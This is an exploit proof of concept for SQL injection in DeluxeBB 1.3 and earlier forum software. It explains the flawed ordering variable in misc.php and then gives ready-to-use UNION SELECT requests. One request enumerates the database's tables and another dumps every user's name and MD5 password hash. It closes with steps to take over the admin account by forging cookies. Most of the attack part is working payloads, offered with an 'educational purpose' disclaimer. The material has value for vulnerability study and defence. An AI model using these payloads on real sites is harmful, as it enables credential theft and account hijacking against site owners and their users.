# Author: girex # Homepage: girex.altervista.org # Date: 18/03/2009 # CMS: DeluxeBB 1.3 and prior # site: deluxebb.com # NOTE: - Works regardless of php.ini settings - This SQL injection will shows you username and md5 of ALL registered users of the site. - This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. ---------------------------------------------------------------------------------------- # Vuln description: # DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function # used in header.php. I think this is a very bad practice. Attacker doesn't need # register_globals turned On, and in this case that i'm showing you magic_quotes # turned Off too. # file: misc.php lines: 461-464 if($order == "name") { $qorder = "ORDER BY username"; } if($order == "regdate") { $qorder = "ORDER BY joineddate"; } if($order == "posts") { $qorder = "ORDER BY posts"; } if($order == "lastpost") { $qorder = "ORDER BY lastpost"; } # This sequence of if does not provide an else.. # file: misc.php line: 490 $getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder." <== ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]); # An attacker can set an arbitrary value to the var $qorder if $order # has a value not expected. ---------------------------------------------------------------------------------------- # PoC: # I reccomend to use first of all this SQL Injection to retrieve all table's name # of the database thanks to informatin_schema. You can use it to retrieve the table prefix # of the CMS. GET [target]/[path]/misc.php?sub=memberlist&order=1& qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+ FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1 ---------------------------------------------------------------------------------------- # Real PoC: # This SQL Injection will shows you ALL usernames and password hashes of the CMS. GET [target]/[path]/misc.php?sub=memberlist&order=1& qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+ FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1 ---------------------------------------------------------------------------------------- # NOTE: to get admin's access edit your cookies: # memberid => victim's id # membercookie => victim's username # memberpw => victim's md5 ---------------------------------------------------------------------------------------- girex